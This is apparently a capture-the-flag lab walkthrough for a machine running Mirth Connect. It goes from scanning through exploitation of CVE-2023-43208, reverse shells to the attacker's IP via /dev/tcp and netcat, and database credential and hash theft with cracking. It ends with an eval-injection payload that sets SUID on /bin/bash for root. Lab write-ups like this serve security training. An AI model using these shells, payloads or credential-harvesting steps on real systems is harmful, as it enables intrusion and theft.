Interpreter

10.129.204.152

nmap

nmap -sC -sV -T4 -p- 10.129.204.152

22/tcp   open  ssh       OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/https
|_ssl-date: TLS randomness does not represent time
|_http-title: Mirth Connect Administrator
6661/tcp open  unknown

sudo nmap -A -sU --top-port 100 10.129.204.152

68/udp open|filtered dhcpc
1   253.01 ms 10.10.14.1
2   253.25 ms 10.129.204.152


nmap -sC -sV -T5 -p6661 10.129.204.152

HTTP (80)

  • Instance of Mirth Connect Administrator
  • Vulnerable to CVE-2023-43208
  • Server version: 4.4.0
python3 detection.py https://10.129.204.152/webadmin/Index.action

Server version: 4.4.0

Checking Connection

python3 CVE-2023-43208.py -u https://10.129.204.152 -c "ping -c 3 10.10.14.65"

sudo tcpdump -i tun0 icmp
15:08:14.449014 IP 10.10.14.65 > interpreter.htb: ICMP echo reply, id 4000, seq 3, length 64

Getting Reverse Shell

nc -nvlp 4444


python3 CVE-2023-43208.py -u https://10.129.204.152 -c "sh -i >& /dev/tcp/10.10.14.65/4444 0>&1" #No Connection

python3 CVE-2023-43208.py -u https://10.129.204.152 -c "nc -c sh 10.10.14.65 4444"

Shell as Mirth

  • Found credentials for mysql database
database.username = mirthdb
database.password = MirthPass123!
mysql -u mirthdb -pMirthPass123! -h localhost mc_bdd_prod


show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+

SELECT * FROM PERSON_PASSWORD;
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==


SELECT * FROM PERSON
sedric

cat /usr/local/mirthconnect/conf/mirth.properties

keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

python3 -c '
import base64
h = base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==')
print('Total bytes:', len(h))
# First 8 bytes = salt, rest = hash
salt = h[:8]
hashval = h[8:]

print(salt)
print(hashval)

print('Salt (b64):', base64.b64encode(salt).decode())
print('Hash (b64):', base64.b64encode(hashval).decode())

print('HASH::', base64.b64encode(salt).decode()+':'+base64.b64encode(hashval).decode())'

hashcat -m 10900 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' /usr/share/wordlists/rockyou.txt --force

snowflake1

Shell as sedric

su sedric
snowflake1

sedric@interpreter:~$ cat user.txt
ef10dc11fc8499ab9780a86c4c799f59

Checking Running Processes as Root

  • Finding vulnerable Binary
ps aux | grep root
root        3551  0.0  0.8 113604 33868 ?        Ss   15:00   0:00 /usr/bin/python3 /usr/local/bin/notif.py


bash-5.2# ls -la /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py
bash-5.2# cat notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)
  • Creating Script to target eval function
  • Use SUID on /bin/bash
# Step 1: Write a script with the command
echo 'chmod +s /bin/bash' > /tmp/x.sh
chmod +x /tmp/x.sh

# Step 2: Execute it via the exploit
python3 -c "
import urllib.request
data = b'''<patient>
  <firstname>{__import__(\"os\").system(\"/tmp/x.sh\")}</firstname>
  <lastname>test</lastname>
  <sender_app>test</sender_app>
  <timestamp>test</timestamp>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>'''
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=data, headers={'Content-Type':'application/xml'})
print(urllib.request.urlopen(req).read())
"

# Step 3: Check and exploit
ls -la /bin/bash
bash -p

Shell as Root

bash-5.2# cat root.txt
3c28671a2b2e10f7ebff7abeab7a6113